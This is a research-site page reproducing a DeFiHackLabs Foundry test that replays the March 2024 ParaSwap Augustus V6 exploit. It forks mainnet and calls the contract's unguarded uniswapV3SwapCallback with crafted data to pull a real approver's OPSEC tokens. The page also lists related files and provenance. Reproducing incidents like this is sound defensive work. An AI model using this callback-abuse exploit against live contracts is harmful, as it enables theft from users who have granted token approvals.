Public reproduction file
src/test/2024-03/Paraswap_exp.sol
Public reproduction file for dataset entry Paraswap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$24K8// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a9// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd010// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f4743911// Attack txs : https://app.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e6013// @Analysis14// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe16interface IParaSwapAugustusV6 {17 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;18}20contract ContractTest is Test {21 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);22 IERC20 private constant OPSEC = IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98);23 IERC20 private constant wTAO = IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44);24 IParaSwapAugustusV6 private constant AugustusV6 = IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439);25 // User who had provided approval for Augustus V6 contract26 // Amount of OPSEC will be transferred from this user27 address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27;29 function setUp() public {30 vm.createSelectFork("mainnet", 19_470_560);31 vm.label(address(WETH), "WETH");32 vm.label(address(OPSEC), "OPSEC");33 vm.label(address(wTAO), "wTAO");34 vm.label(address(AugustusV6), "AugustusV6");35 }37 function testExploit() public {38 emit log_named_decimal_uint(39 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()40 );42 emit log_named_decimal_uint("Victim OPSEC balance before attack", OPSEC.balanceOf(from), OPSEC.decimals());44 emit log_named_decimal_uint(45 "Victim approved OPSEC amount before attack", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()46 );48 // Amount0Delta negative value can be arbitrary up to 049 int256 amount0Delta = 0;50 // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)51 // Let's try more -> 10 WETH52 int256 amount1Delta = 10e18;53 address to = address(this);54 uint256 fee1 = 3000;55 uint256 fee2 = 10_000;56 bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;57 bytes memory data =58 abi.encode(to, from, address(wTAO), address(WETH), fee1, encodedOPSECAddr, address(WETH), fee2);60 AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);62 emit log_named_decimal_uint(63 "Victim OPSEC balance after attack", OPSEC.balanceOf(address(from)), OPSEC.decimals()64 );66 emit log_named_decimal_uint(67 "Victim approved OPSEC amount after attack", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()68 );70 emit log_named_decimal_uint(71 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()72 );73 }74}Analysis
Dataset entry
Public Foundry test for “Paraswap” (2024-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
19 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
- src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
- src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
- src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
- src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
- src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
- src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
- src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
- src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
- src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
- src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
- src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
- src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
- src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
- src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame protocol or name in the dataset · 201 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Tx
0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60
File record
- Name
- Paraswap
- Path
- src/test/2024-03/Paraswap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 422361d851bd37e8bee6b04d4a29c284320eac04
- Language
- Solidity
- Size
- 75 lines
- Date
- 2024-03-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-03/Paraswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 422361d851bd37e8bee6b04d4a29c284320eac04, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.